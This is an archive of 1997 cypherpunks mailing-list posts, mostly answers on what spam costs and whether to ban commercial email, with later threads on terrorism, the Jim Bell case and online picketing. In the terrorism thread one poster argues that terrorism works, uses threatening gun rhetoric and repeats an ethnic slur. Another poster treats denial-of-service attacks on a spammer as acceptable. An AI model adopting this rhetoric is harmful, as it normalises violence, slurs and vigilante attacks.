into play. The later may never fade. Most users are not email savy, even if their email software is. People do dumb things like post to USENET groups and then get on the big spam lists, further increasing their mail filtering efforts. But let's put this into perspective. Today, I might send 5 - 10 minutes everyday, sorting through my USMail. Now I am a good recycler, and I open everyone and put all of the papers into the proper bins; some days this can take me 20 minutes. Despite my Eudora Pro filters that color flag suspected spams (I don't delete them, the filters might be in error) for easy delete, I have dozens of emails among my hunderds of messages to read before trashing. Maybe 5 - 10 minutes a day. I really do not think spam is all that bad unless.... What I have discovered is that recreational email, ie use of USENET and recreational LISTSERVs is the way that people get on spam lists. Us techies thus may have a very low spam to message ratio. But poor johnQpub, naively posts to alt.rec.sailboats and then gets 100 spams a day semi-related to sailing (Sherri would LOVE to go sailing with you...). Interestingly, the answer to spam is NOT filters to block it, but filters to move ligitamate mail into folders for processing and leave your IN box for quick scan/trashing. Thus the cost of spam to the user is education and GOOD (read not free) email software. Now the cost to mail handlers is different, but they can and should fight back. Look at the lawsuit by flowers.com. Tracy and her husband run a small time operation. The spam that used their domain name as the reply-to cost them time and business. They are going after the kid. This is costing them, but it will get them on a list of 'do not spam' sights, we hope. Robert Moskowitz Chrysler Corporation (810) 758-8212 ********* From: "Halpert, James - DC" Date: Wed, 04 Jun 97 17:00:00 DST Declan, Very high volume spam can and does burden service providers' systems. Remember the cost of sending a million or so e-mails is very low, but engineering a network to handle, say, 200,000 improperly addressed e-mails that collect on a service provider's mail server costs a good deal more. Herein lies an economic problem. This is not to say that the Constitution shouldn't be sacrificed on the altar of an economic problem, but the concern about high volume spam should not be dismissed as trivial. -- Jim Halpert ********* Date: Thu, 5 Jun 1997 00:10:54 +0100 To: declan at well.com From: Azeem Azhar Declan, Here are a variety of costs: 1. phone costs (non-us) 2. traffic costs (if you are one of the customers on metered useage that e.g. UUnet and BBNplanet offer) 3. hard-drive costs (my mac crashed a few weeks ago losing data in another application because an incoming e-mail took up my last bit of drive space. technically myu fault, i know, but a cost nonetheless.) 4. my time (to write and check anti-spam filters. it took me over an hour to construct a good system in eudora. my charge out rate is GBP100 an hour, minimum 8 hours.) 5. CPU time on mail-relays on the way. e-mail *does* impose a measurable load on an SMTP host. Azeem Azeem Azhar vx: +44 171 830 7133 The Economist fx: +44 171 681 1358 25 St James Street e-mail: aja at economist.com London SW1A 1HG www: http://www.economist.com/ Disclaimer: The views expressed in this email do not necessarily represent those of my employer. ********* Date: Thu, 5 Jun 1997 02:43:02 -0700 (PDT) From: Mark Grant To: declan at well.com > What are the costs to consumers of unsolicited e-mail? Up to 150k of disk space, up to about 50 seconds of connect time for those who download it by modem (assuming 28.8k), a few seconds of time to delete it or a few minutes to send complaint mail back to their ISP. Worse is the indirect cost to consumers through the hassle it causes to their ISPs. They need faster links and more powerful mail servers to process the extra unwanted data and take time to install filters and deal with spammers. I've already had one spammer send out mail with a false unicorn.com return address which took a day of my time to sort out. >If you banned commercial e-mail, wouldn't it just affect legitimate >commercial transactions? Of course. Banning it is dumb and will cause all sorts of unexpected problems. A few class-action suits should eliminate most of them. Mark (postmaster at unicorn.com) ********* Date: Thu, 5 Jun 1997 11:02:49 +0100 (BST) From: Charlie Stross To: Declan McCullagh On Wed, 4 Jun 1997, Declan McCullagh wrote: > What are the costs to consumers of > unsolicited e-mail? I guess the time it > takes to delete it might be one, hard > drive space might be another. Those are minimal. Here in the UK, there are NO free local phone calls (unless you're lucky enough to live in Hull, or have a cableco who want to let you yack to your neighbours - it's a long and boring story). Furthermore, if you receive email via SMTP or UUCP (rather than via a mailbox reader protocol like POP3 or whatever) you can't filter the junk out before it reaches you. Thus, receiving spam costs money, in terms of dialup connect time. Moreover, some spammers use really poor, munged, address lists; I've seen 100Kb mails (a couple of minutes of download time on an old 14.4K modem, which is what many people still use) with maybe a 1K payload at the end of the headers. Given that I've got three or four users on my dialup site, and we get an average of 5 UCEs/person/day, it's probably costing us 5-15 pence/day extra on the phone bill. Not significant for _one_ site, but if you multiply by two million (est. number of UK internet users) you get a plague that's costing about 20 million UK pounds/year -- to the unwilling victims. This is before you factor in the online services like Compuserve or CIX that charge per unit connect time, or charge for mail received from the internet. The real victims, though, are the people whose addresses the spammers bung in the Reply-to: fields, so that they get mailbombed by indignant recipients. -- Charlie Stross ********* Date: Wed, 4 Jun 1997 23:17:10 -0700 To: Declan McCullagh , cypherpunks at toad.com From: Bill Frantz At 12:45 PM -0700 6/4/97, Declan McCullagh asked: > What are the costs to consumers of > unsolicited e-mail? I guess the time it > takes to delete it might be one, hard > drive space might be another. I would > like to know how to quantify it, and > compare it with the cost of sending > e-mail. I don't think the costs of the 1-3 spam messages I get each day is significant. (But I don't post to Usenet.) > If you banned commercial e-mail, > wouldn't it just affect legitimate > commercial transactions? That is to say, > wouldn't fly-by-night pyramid-scheme > builders still be able to spam? I would > think that if they are so untraceable > that it's hard to block their spam that > it wouldn't really matter if it were > simply made illegal. Can you say regulatory arbitrage? The current social controls on spam are good enough that no one with any positive reputation wants to have anything to do with it. This means that spammers have to use anonymous offshore answering services. The widespread hatred of spam and spammers should keep the total amount under control without the legal action and in spite of the very low cost of spamming. The recent problems Spamford has been having with denial of service attacks is just one example of the social control process. The flood of hostile email spammers who include real email addresses receive are another. Legitimate commercial email does not evoke these strong reactions. ------------------------------------------------------------------------- Bill Frantz | The Internet was designed | Periwinkle -- Consulting (408)356-8506 | to protect the free world | 16345 Englewood Ave. frantz at netcom.com | from hostile governments. | Los Gatos, CA 95032, USA ********* Date: Wed, 4 Jun 1997 16:15:27 -0400 To: Declan McCullagh , fight-censorship at vorlon.mit.edu From: "Shabbir J. Safdar" The combined EF-Florida/EFF-Austin/VTW filings for the FTC workshop will contain an exhaustive examination of the costs associated with junk email and the technology paradigms for addressing it. It's a technology paper, and doesn't take any particular political agenda. -S ********* Date: Wed, 4 Jun 97 16:11:58 EDT From: djones at insight.dcss.McMaster.CA (David Jones) > What are the costs to consumers of > unsolicited e-mail? I guess the time it > takes to delete it might be one, hard > drive space might be another. I would > like to know how to quantify it, and > compare it with the cost of sending > e-mail. To many people, the cost of spam is simply the time and tedium wasted deleted unwanted messages. Pretty minimal. A burdensome set of regulatory restrictions would also be an annoyance as people waste time and effory making sure reasonable email correspondence "complies" with the new rules. To some users of certain online services, they must pay for email messages or disk space and must pay for connect time. In these cases, there is a real and measurable monetary cost of spam. I'm sorry, I can't quantify that for you. At the organizational level, some companies may pay for Internet traffic bandwidth. If a significant fraction of the traffic is wasted on spam (actually I *really* doubt this is the case) then it could be calculated. > If you banned commercial e-mail, > wouldn't it just affect legitimate > commercial transactions? That is to say, > wouldn't fly-by-night pyramid-scheme > builders still be able to spam? I would > think that if they are so untraceable > that it's hard to block their spam that > it wouldn't really matter if it were > simply made illegal. Hang on. A true "pyramid scheme" requires the victims to send money to the folks operating the scheme. Therefore, they can't be entirely anonymous ... or they'd never be able to cash in! Banning "commercial email" is just nuts. Should we also ban "business-related email" ? Or "advertising email" ? .... or what about "political advertising on the Net" ?? The Canadian government just made the front page of HotWired's online magazine for being foolish enough to ban certain political advertisements on the Net. Surely the U.S. won't make the same mistake. -- David Jones, PhD president, Electronic Frontier Canada -- djones at efc.ca ********* Date: Wed, 4 Jun 1997 18:15:59 -0400 (EDT) From: wyang at ktel.osc.edu To: declan at well.com Hi. I run a Free-Net -- a community outreach project of the Ohio State University and the Ohio Supercomputer Center, which gives free access to anyone who lives in our service area (we're serving about 20,000 people right now -- I understand that, in our service area, Compuserve only has about 12,000 customers). I don't read the censorship fighting list, but someone who does forwarded me your message. I don't know about user costs... but I do know about network-level (provider-level) costs. Disk space is only PART of the computational problem. There's also the swallowing of network bandwidth, and the drain on compute resources (CPU/RAM). My site normally carries about 25,000 unique message ID's per day. Our estimates (these are eyeball numbers, not based on hard-and-fast numbers) make it look as though 10% to 20% of those messages are spam. That's ten to twenty percent of our e-mail operation cost being immediately put toward spam. Beyond that, our users complain about spam. A lot. Right now, about an hour of my time every day is spent dealing with spam complaints (about other sites spamming us, mind). That's 1/8th of my work time, with a massive opportunity cost (as well as a real cost). The other staff members are *also* getting similar time drains. We currently estimate that between $500 and $2000 per month is completely lost to spammers -- funds redirected away from our community outreach/service mission, SUBSIDIZING COMMERCIAL OPERATIONS which generally do not enrich our community. That monthly cost is being drained out of a very small ($150k - $200k per year) project budget which is only getting smaller because people only donate to our donation-driven budget when they like what's going on, and they don't like spam. You might try to call it the cost of doing business... except for the fact that I'm not a normal network carrier. I'm a Free-Net, one of those community-minded sites that's trying to make sure that access to the informational wealth on the Internet is available at price that everyone can afford (free). Universal access is being threatened by this kind of activity, which has a massive user-level costs and implications. Most Free-Nets are incapable of handling the constant barrage of spam, and the complaints they generate. > If you banned commercial e-mail, > wouldn't it just affect legitimate > commercial transactions? That is to say, > wouldn't fly-by-night pyramid-scheme > builders still be able to spam? I would > think that if they are so untraceable > that it's hard to block their spam that > it wouldn't really matter if it were > simply made illegal. Everything can be traced on the 'net. The question is what the cost of tracing it is going to be. You need to remember that there's virtually NO cost associated with *sending* spam. ISP connectivity costs, maybe bandwidth metering for a couple of messages. Those messages, however, can be expanded (1:1,000,000 kinds of ratios are potentially possible; one message can theoretically generate a MILLION spam messages; in practice, I've seen 1:10,000 ratios). The networks that carry the traffic are taking that computational and network-bandwidth cost. And they get hit by complaints from their users. I recognize that no matter what the law is going to do, you're not going to *stop* spam. The issue is to reduce the volume of spam enough to make sure that the cost is reduced to acceptable and absorbable cost-levels. That may mean making spamming tools such as "e-mail blaster" criminal tools. Free speech is great... but it's only free when it's not invasive into the rights of others. Spam *is* invasive, and there are clear, acceptable, and frankly more effective alternative methods for communicating commercial messages. -Bill System Manager, Lead System Administrator The Greater Columbus Free-Net ******** From: clinton at annoy.com (Clinton at Annoy) To: "'declan at well.com'" It is vital to distinguish between "unsolicited email" and "spam". Spam is essentially considered mass e-mailing for commercial purposes, (usually such as the selling of a product or service). If "unsolicited e-mail" is rendered illegal, what will happen to someone who mistakenly sends an email to the wrong address? It's like prosecuting someone for dialing the wrong number. What about a deliberately targeted, but unsolicited email that is crafted to express displeasure to a politician, for instance? To be potentially prosecuted on such a basis could (and will) place a severe chill on the rights of people to communicate freely with elected officials - the cornerstone of democracy. A protocol to deal with spamming is by no means unwelcome, but to confuse it with unsolicited email is potentially very dangerous. Especially with a government so intent on censoring the free flow of information and thought. Perhaps the first place to start would be to clearly define spam. Clinton Fein Publisher and Editor annoy.com ************* From: Eric Murray Subject: Re: Spam costs and questions To: declan at well.com Date: Wed, 4 Jun 1997 14:09:42 -0700 (PDT) Declan McCullagh writes: > > A friend who's going to be speaking on one of the FTC panels next week > sent me a few questions about spam. Does anyone want to try their hand at > answering them? I'll forward along all responses I get. > > What are the costs to consumers of > unsolicited e-mail? I guess the time it > takes to delete it might be one, hard > drive space might be another. I would > like to know how to quantify it, and > compare it with the cost of sending > e-mail. Also there's the cost of network transport of spam, both from the spammer's host to the recipient's ISP, and from the ISP to the recipients PC. The last is often the worst, as it eats up time the victim could be using to do something productive. In addition, most spam is bounced through an innocent third party who has a good network connection, like a university. Sending out a lot of spam takes much bandwidth, so the spammer steals the bandwidth and processing power from the innocent third party. > If you banned commercial e-mail, > wouldn't it just affect legitimate > commercial transactions? That is to say, > wouldn't fly-by-night pyramid-scheme > builders still be able to spam? I would > think that if they are so untraceable > that it's hard to block their spam that > it wouldn't really matter if it were > simply made illegal. Spammers need to have a way that you can respond to them. Since spam is legal, and they don't want email in return, they include phone numbers, fax numbers, or snail-mail addresses for people to reply to. If spam were illegal, then spammers could be tracked via the phone numbers. It's only the email's return path that's difficult to trace- spam, because it is selling something, must have a way for potential customers to respond. Most of the purported 'anti-spam' legislation is thinly-disguised LEGITIMIZATION of spam!! Anything that puts the burden on ISPs or recipients to filter out 'tagged' messages legitimizes spam. As annoying as spam is, I would much prefer that nothing be done rather than a poorly-thought-out law. So far, all the proposed laws I have seen have had flaws in them that make me unable to support them. To be honest, I can not myself come up with a law that I would find acceptable. It's a hard problem. -- Eric Murray ericm at lne.com Privacy through technology! Network security and encryption consulting. PGP keyid:E03F65E5 *********** Date: Wed, 4 Jun 97 16:10:07 -0400 From: Ray Everett-Church To: "Declan McCullagh" , On 6/4/97 3:44 PM, Declan McCullagh (declan at well.com) wrote: >A friend who's going to be speaking on one of the FTC panels next week >sent me a few questions about spam. Does anyone want to try their hand at >answering them? I'll forward along all responses I get. > > What are the costs to consumers of > unsolicited e-mail? I guess the time it > takes to delete it might be one, hard > drive space might be another. I would > like to know how to quantify it, and > compare it with the cost of sending > e-mail. I also will be speaking at the FTC next week and address that question in my FTC filing which can be seen at The short version of the answer is that UCE is difficult to assign a clear cost to in part because it is spread over such an ever widening base that the more people you spam, the harder it is to know where the costs are concentrated. However there are costs to the bandwidth provider for the site originating the spam in terms of consumed bandwidth, there's also costs of consumed bandwidth leading into every site that receives the mail. Once it arrives at an ISP, there are costs in terms of the CPU time and system efficiency issues, and disk space consumed, and costs for the consumers who may have to spend more time and money (if they pay on a metered basis) to download and sort through the stuff. It's hard to quantify in dollars and cents, but lets look at the quantities we're talking about. AOL has publically estimated that they process about 30 million pieces of email a day and further they've publically estimated that 40-45% of that is spam. I recently sampled 3 days of my regular spam load and the average piece was a hair over 5000 bytes. 5k * 13 million messages, you're talking roughly 65 million kilobytes a day. (somebody please correct my math... i'm a lawyer not an accountant). Since people don't read their email every day, some of that must be stored for several days. And if it is bouncing back to an invalid sender address, the rest ends up in the postmaster mailbox. Assuming that those same figures and costs are spread among other ISPs as well, that's a heck of a lot of data to transmit and store...which translates into costs for ISPs and their customers. > > If you banned commercial e-mail, > wouldn't it just affect legitimate > commercial transactions? That is to say, > wouldn't fly-by-night pyramid-scheme > builders still be able to spam? I would > think that if they are so untraceable > that it's hard to block their spam that > it wouldn't really matter if it were > simply made illegal. I don't think anybody wants to ban all commercial mail, just the unsolicited advertisements for which the advertisers don't bear the real costs. If you're truly trying to operate a moneymaking business, you've got to have someplace for people to send the money... So regardless of how you disguise the headers, you still have a means of tracking down the culprit... and in the case of the Smith legislation you'd have the chance to recover up to $1500 per message. There is at least one major national collection agency that I know of who is chomping at the bit to recover that for you. -Ray ------------------------------------------------------------------------- Ray Everett-Church, Esq. www.everett.org/~everett This mail isn't legal advice. Opinion(RE-C) != Opinion(clients(RE-C)) (C)1997 Ray Everett-Church ** Help outlaw "spam"=> http://www.cauce.org ------------------------------------------------------------------------- ******** Date: Wed, 04 Jun 1997 19:20:36 -0400 From: Chris Poupart To: declan at well.com If you banned commercial e-mail, wouldn't it just affect legitimate commercial transactions? That is to say, wouldn't fly-by-night pyramid-scheme builders still be able to spam? I would think that if they are so untraceable that it's hard to block their spam that it wouldn't really matter if it were simply made illegal. making spam illegal would be a futile plan, unless the authorities were given the power to persue not just the sender, but the people for whome it advertises. Not only could the fly-by-night pyramid-schemes work, but there are programs out there that allow you to route your e-mail so that it is Anonymous, now these programs can also do bulk mailing... I think you get my picture. If you could also press charges against the advertised company (providing it was authorised by them), then that might work. If not, well then with all the free e-mail available (www.hotmail.com and www.netaddress.com or .net I can't remember), people might want to set up an e-mail account to use with Usenet and to give as pw, ect, and then they could keep one privit and "secret" amongst their friends. The internet has flourished w/out government help and I beleive that it will continiue to do so. Chris Poupart Montreal, Canada -- Chris Poupart mailto:chris at peacefire.org Support Freedom of Speech and visit: http://www.peacefire.org | http://www.eff.org http://www.geocities.com/Colosseum/Field/6078/censor-index.html ********** From: "Marius Loots" To: Declan McCullagh Date: Thu, 5 Jun 1997 11:16:21 GMT+2 Hallo Declan I really enjoy your list. The mailings are very interesting and relevant. Thanks. My thoughts on the two questions: > What are the costs to consumers of > unsolicited e-mail? I guess the time it > takes to delete it might be one, hard > drive space might be another. I would > like to know how to quantify it, and > compare it with the cost of sending > e-mail. It would be extremely difficult to quantify in monetary terms. It has been long since I had one of those BIG things in my mailbox. Most of these has lately been smaller emails that compare well in size to some of the material I send around. Because harddrives are not that expensive anymore, storage space is IMO, not a factor at all. The irritation factor is my biggest concern. You have to sort it from the valuable mail, that takes time. You have to delete it, that takes time. And some people has to download it, that takes time. This eating up of my time, irritates me. And with the present information overload, time is one of the few things we definitely don't have. > If you banned commercial e-mail, > wouldn't it just affect legitimate > commercial transactions? That is to say, > wouldn't fly-by-night pyramid-scheme > builders still be able to spam? I would > think that if they are so untraceable > that it's hard to block their spam that > it wouldn't really matter if it were > simply made illegal. You are not going to be able to ban it. As long as email is email, there will be people using it to spam. Even if you make it illegal, it will still happen. A few quick thoughts or ideas to be kicked around: 1. What could be made illegal is the selling of email addresses. 2. Ban *unsolicited* commercial email 3. Make ISP who supply service for free or without proper checking liable for prosecution if spam comes from their system. 4. Black-list people that are caught spamming (use in tandem with 3). A number of these spammers are not once-only fly-by-nighters. They strike again and again. Because it is not illegal at the moment, no-one can do anything. I am not able to write the legalese but these are some rough thoughts on the matter. Unsolicited email is unsolicited email, and the sooner we get that out of the system, the better. Groetnis Marius Loots ------------------------------------------------------- Maestro mloots at medic.up.ac.za +27-12-319-2144 pgp2.6 TOP 50 on the SA WebChart - Have a look and vote NOW!!! http://www.geocities.com/Athens/6398 Add some Chaos to your Life and put the World in Order ------------------------------------------------------- ********* Date: Wed, 4 Jun 1997 13:28:38 -0700 To: declan at relay.pathfinder.com From: Roger Bohn Subject: Re: Spam costs and questions At 3:47 PM -0400 6/4/97, Declan McCullagh wrote: >A friend who's going to be speaking on one of the FTC panels next week >sent me a few questions about spam. Does anyone want to try their hand at >answering them? I'll forward along all responses I get. > > What are the costs to consumers of > unsolicited e-mail? I guess the time it > takes to delete it might be one, hard > drive space might be another. I would > like to know how to quantify it, and > compare it with the cost of sending > e-mail. A big cost is that it reduces the S/N ratio of e-mail. As the amount of spam goes up, sooner or later you start missing legitimate messages that you should have read, because you do blanket erases, don't read carefully, close down entire accounts, etc. Personally I've not reached that point, but spam is growing exponentially so I give it 2 years. Cost of telephone connect time is also a consideration for most users. Even if you are on a flat phone rate, there is an opportunity cost from having your phone tied up longer. (Yes, even if you have 2 lines--the members of my household are always fighting over the second line.) > > If you banned commercial e-mail, > wouldn't it just affect legitimate > commercial transactions? That is to say, > wouldn't fly-by-night pyramid-scheme > builders still be able to spam? I would > think that if they are so untraceable > that it's hard to block their spam that > it wouldn't really matter if it were > simply made illegal. > Yes and no. Fly by nights would continue, certainly. But look how successful the mail fraud laws have been at limiting (not eradicating) mail based pyramid schemes, for example. Laws, if carefully drawn, would have an effect. I think mandatory labeling is much better than banning commercial e-mail, by the way. An outright ban has several problems, in the U.S. at least. A mandatory label deals with the S/N issue cited above (you can filter commercial messages), and as mail packages get smarter they can be set to not download messages selectively, thus dealing with the other problems. Something as draconian as an outright ban also encourages lawbreaking more than a labeling provision would. Roger Bohn ### From azur at netcom.com Wed Jun 4 22:48:35 1997 From: azur at netcom.com (Steve Schear) Date: Thu, 5 Jun 1997 13:48:35 +0800 Subject: McVeigh is not the issue! In-Reply-To: Message-ID: >(The airlines claim the FAA is requiring traveller identity. Maybe yes, >maybe no. Traveler ID is not 'required', however if you don't possess a government issued ID and/or have paid for your ticket via cash within 48 hours of departure expect some delays in your travel and a through search of your baggage. >Any extension to further "position escrow" >(which is what I call the increasing requirements that citizen-units report >their identities when travelling) would, as I understand the Constitution, >violate various freedoms to move about with government interference.) > >These are the serious issues. Yes, they are and the Feds are tip-toeing around the matter ever so lightly so as not to have the ACLU on their case. --Steve From frantz at netcom.com Wed Jun 4 23:31:15 1997 From: frantz at netcom.com (Bill Frantz) Date: Thu, 5 Jun 1997 14:31:15 +0800 Subject: [CONTROVERSIAL]: A Defense of Terrorism In-Reply-To: <0nZMXF200YUg07xmg0@andrew.cmu.edu> Message-ID: At 10:51 AM -0700 6/4/97, Tim May wrote: >At 8:25 AM -0700 6/4/97, Jeremiah A Blatz wrote: >>Bill Frantz writes: >>> At 4:50 PM -0700 6/3/97, Kent Crispin wrote: >>> >Contrast ["milita violence"] with the brilliance of the anarchist >>> >Eward Abbey in "The Monkey Wrench Gang", where the anti-government >>> >acts were calculated to call forth popular support. >> >>> If you at least avoid killing people, then you have fewer bitter enemies >>> and a better chance of holding on to your winnings. The examples of >>> Gandhi, King, and Mandala come to mind. Contrast their success with the >>> results of the violence approach as exemplified by the generations old wars >>> in Ireland and Israel. >> >>You left out Sea Shepard, who sank the entire Icelandic whaling fleet >>(with zero casualties) on night. Earth First!, Greenpeace, and other >>somewhat-less-direct action groups have used "terrorist" means and >>achieved enourmous popular support. > >I don't want to start "defending terrorism," esp. of the murderous sort, >but the plain fact for anyone to see is that terrorism often _does_ work. > >Look at Palestine/Israel/the Zionist Insect/whatever. > >Had the Palestinians calmly filed petitions to get the land back that was >seized by European Jews after the Second World War--the Brits often >referred to Palestinians and Arabs as "sand niggers"--would any land ever >have been transferred back? Right. They have their land back. And they have peace on that land. Sure. They certainly could have not done much worse had the followed Gandhi and King with massive civil disobedience. Civil disobedience has a pretty good track record when used against civilized countries. (I wouldn't recommend it in present-day China or Nazi Germany.) >(In fact, the act of terrorism against the 242 Marines in Beirut in 1983 >"worked," didn't it? The Americans were on their way out within weeks.) Probably because there wasn't much domestic support for our staying there. The same comment applies to the British leaving Palestine. IMHO, the situation is quite different when the disagreement is civil-war in nature, as it is in northern Ireland, Palestine/Israel, and the USA. Neither side is likely to get tired and go home. The only long-term solution is to learn to live together. ------------------------------------------------------------------------- Bill Frantz | The Internet was designed | Periwinkle -- Consulting (408)356-8506 | to protect the free world | 16345 Englewood Ave. frantz at netcom.com | from hostile governments. | Los Gatos, CA 95032, USA From frantz at netcom.com Wed Jun 4 23:36:27 1997 From: frantz at netcom.com (Bill Frantz) Date: Thu, 5 Jun 1997 14:36:27 +0800 Subject: Spam costs and questions In-Reply-To: Message-ID: At 12:45 PM -0700 6/4/97, Declan McCullagh asked: > What are the costs to consumers of > unsolicited e-mail? I guess the time it > takes to delete it might be one, hard > drive space might be another. I would > like to know how to quantify it, and > compare it with the cost of sending > e-mail. I don't think the costs of the 1-3 spam messages I get each day is significant. (But I don't post to Usenet.) > If you banned commercial e-mail, > wouldn't it just affect legitimate > commercial transactions? That is to say, > wouldn't fly-by-night pyramid-scheme > builders still be able to spam? I would > think that if they are so untraceable > that it's hard to block their spam that > it wouldn't really matter if it were > simply made illegal. Can you say regulatory arbitrage? The current social controls on spam are good enough that no one with any positive reputation wants to have anything to do with it. This means that spammers have to use anonymous offshore answering services. The widespread hatred of spam and spammers should keep the total amount under control without the legal action and in spite of the very low cost of spamming. The recent problems Spamford has been having with denial of service attacks is just one example of the social control process. The flood of hostile email spammers who include real email addresses receive are another. Legitimate commercial email does not evoke these strong reactions. ------------------------------------------------------------------------- Bill Frantz | The Internet was designed | Periwinkle -- Consulting (408)356-8506 | to protect the free world | 16345 Englewood Ave. frantz at netcom.com | from hostile governments. | Los Gatos, CA 95032, USA From tcmay at got.net Wed Jun 4 23:37:32 1997 From: tcmay at got.net (Tim May) Date: Thu, 5 Jun 1997 14:37:32 +0800 Subject: [CONTROVERSIAL]: A Defense of Terrorism In-Reply-To: Message-ID: At 11:26 PM -0700 6/4/97, Bill Frantz wrote: >as it is in northern Ireland, Palestine/Israel, and the USA. Neither side >is likely to get tired and go home. The only long-term solution is to >learn to live together. ^^^^^^^^^^^^^^^^^^^^ On this subject, my list colleague Bill and I are from different planets. The chasm that separates us is a Grand Canyon. When I hear people talk about "why can't we just get along together?" and its variants, I reach for my .45. "Learning to live together" is absurd when the other side has stolen your land. Strong crypto is also a tool of vengeance. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From gbroiles at netbox.com Thu Jun 5 00:02:50 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 5 Jun 1997 15:02:50 +0800 Subject: Will Bell get the rest of us in trouble? In-Reply-To: Message-ID: <3.0.2.32.19970604235647.007645e4@pop.sirius.com> Tim May wrote: > However, the focus, at least for why he has been denied bail, is strongly > on the "assassination politics" essays and communications, and on > "overthrowing the government" sorts of things. (This according to the > affidavit, and according to what Greg Broiles relayed from Bell's > court-appointed lawyer.) Actually, I haven't spoken with Bell's attorney, but John Young did. My comments about Jim and his situation, jail policies, etc., are based on reading the search warrant docs, the complaint, and on a general understanding of the practical/applied side of criminal law. I don't have any knowledge about the specific facts of this case that aren't on my site or John Young's. Several of us from C2Net did talk with Jim's mom on the telephone a day or two after the raid, but didn't learn anything that hasn't been covered in the various newspaper articles about the case. Has anyone read/heard anything about the nature of the grand jury proceedings which are scheduled? The articles I've seen have suggested that perhaps Jim will get good news from the grand jury - but I'm wondering if it's not the federal prosecutor's way to seek *more* charges, fish for more evidence (witnesses can be subpoena'd to testify before the grand jury, and aren't allowed to have their own counsel present with them in the hearing room during their testimony, although they are allowed to take the Fifth) and/or try out some of the weirder conspiracy/militia stuff in front of more or less ordinary citizens. A grand jury indictment (or refusal to indict) is a good way for a prosecutor to deflect scrutiny/publicity from their own decisions, and blame the outcome on a third party. If they indict, the prosecutor points to their decision as proof that s/he isn't just indulging a personal vendetta against the defendant. If they don't indict, the prosecutor can point out that s/he did their best but was thwarted by a third party. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From shamrock at netcom.com Thu Jun 5 00:11:51 1997 From: shamrock at netcom.com (Lucky Green) Date: Thu, 5 Jun 1997 15:11:51 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: <3.0.2.32.19970604233411.03aa8cf4@netcom13.netcom.com> At 12:01 AM 6/4/97 -0400, frissell at panix.com wrote: >I find this hard to believe. I guess it takes all kinds to make a world. In >the current employment market for people with crypto skills, few are going to >get fired for their political views and no one of these types would find it >hard to get another job if fired. When I decided to quit my job at DigiCash, I had three offers the next day. That was before I mentioned my decision on the Net. Still, I have toned down my posts to the list. I am considerably more careful about how what I am saying will be looked at in the future. --Lucky Green PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm From frantz at netcom.com Thu Jun 5 00:35:02 1997 From: frantz at netcom.com (Bill Frantz) Date: Thu, 5 Jun 1997 15:35:02 +0800 Subject: [CONTROVERSIAL]: A Defense of Terrorism In-Reply-To: Message-ID: At 11:34 PM -0700 6/4/97, Tim May wrote: >At 11:26 PM -0700 6/4/97, Bill Frantz wrote: > >>as it is in northern Ireland, Palestine/Israel, and the USA. Neither side >>is likely to get tired and go home. The only long-term solution is to >>learn to live together. > ^^^^^^^^^^^^^^^^^^^^ > >On this subject, my list colleague Bill and I are from different planets. >The chasm that separates us is a Grand Canyon. > >When I hear people talk about "why can't we just get along together?" and >its variants, I reach for my .45. > >"Learning to live together" is absurd when the other side has stolen your >land. I'm glad the Indians aren't acting on that precept. (But in the past they did act and got their asses whooped real good. That's why we can say, "We stole it fair and square.") More generally, if you haven't set foot on the land, and your father never set foot on the land, and so on, then trade and perhaps even friendship with whoever currently is on the land may be a better deal than poverty, blood, and death. YMMV, however you should not let religion/ideology/hate blind you to your long term rational self interest. I do agree with Tim that some things are worth fighting and even dieing for, but they should always be examined in terms of long term rational self interest. (If you're going to die anyway, then take enough of them with you to make a proper escort into paradise. If the nazi-commies are enslaving your country, then by all means take up arms in its defense. Etc.) IMHO, in northern Ireland and Palestine/Israel all the continued fighting promises is poverty, blood, and death. Accepting that possession is 100% of the law would let everyone live a better life (except the politicos who feed on hate). ------------------------------------------------------------------------- Bill Frantz | The Internet was designed | Periwinkle -- Consulting (408)356-8506 | to protect the free world | 16345 Englewood Ave. frantz at netcom.com | from hostile governments. | Los Gatos, CA 95032, USA From gbroiles at netbox.com Thu Jun 5 00:41:19 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 5 Jun 1997 15:41:19 +0800 Subject: Virtual picketing Message-ID: <3.0.2.32.19970605003513.00709a10@postoffice.pacbell.net> I think that analogies are useful to illustrate a point, but a poor basis for making new laws or new policies. I think it makes more sense to look at the reasoning behind the first policy, and/or the combination of conditions and policies that created it, and see if they're present (or not) in the situation which seems to require a new policy. In the particular case of the Internet, I don't think it's at all clear that a public highway is the best (or only) analogy which is appropriate - for example, one could also draw an analogy to a *freeway* .. which, at least in many places, are not open to picketers or pedestrians of any sort. Another easy analogy is to the postal service - it's more or less government-run (haven't kept track of the precise line that's drawn), but there's certainly no right to "picket" communications sent using this government-owned media .. I don't get to add extra pages to letters that my neighbors get, nor they to mine. And there's no First Amendment problem there - if I want to communicate with someone about an issue, I can send them mail. Third parties have no right to interfere, nor to learn our names so that they can bombard us with mail. And the same is true for communications sent by private carriers like FedEx and UPS, even where those private carriers use public facilities like roads and sidewalks and airports to carry on their private businesses, delivering private communications. Incidental use of a public facility does not nationalize a private person/organization. (I think the argument is stronger where a private party monopolizes a public resource - but I suspect that my gut reaction to that isn't compatible with what courts are doing these days.) This discussion is getting waylaid with a host of weakly-related and poorly-understood legal doctrines - e.g., a "right to picket", "public forums", and "right to privacy". Instead of getting bogged down in those tarpits (or distracted by their attractive pseudo-official flavor), let's focus on the real question(s) at hand. I understand to proposal to be that it'd be somehow beneficial if the government interferes with communications between consenting parties if the communication happens to touch or utilize a publically owned/funded resource ... or that such interference is allowed or required by the First Amendment. I think that presents a much clearer and more fundamental First Amendment question - e.g., can the government force me to say things I don't want to say? Can the government intercept speech from me to another person and preface or wrap it with some sort of counterargument provided by people who disagree with me? I think the answer is (and should be) a slam-dunk "no". No tricky analogies needed. -- Greg Broiles | US crypto export control policy in 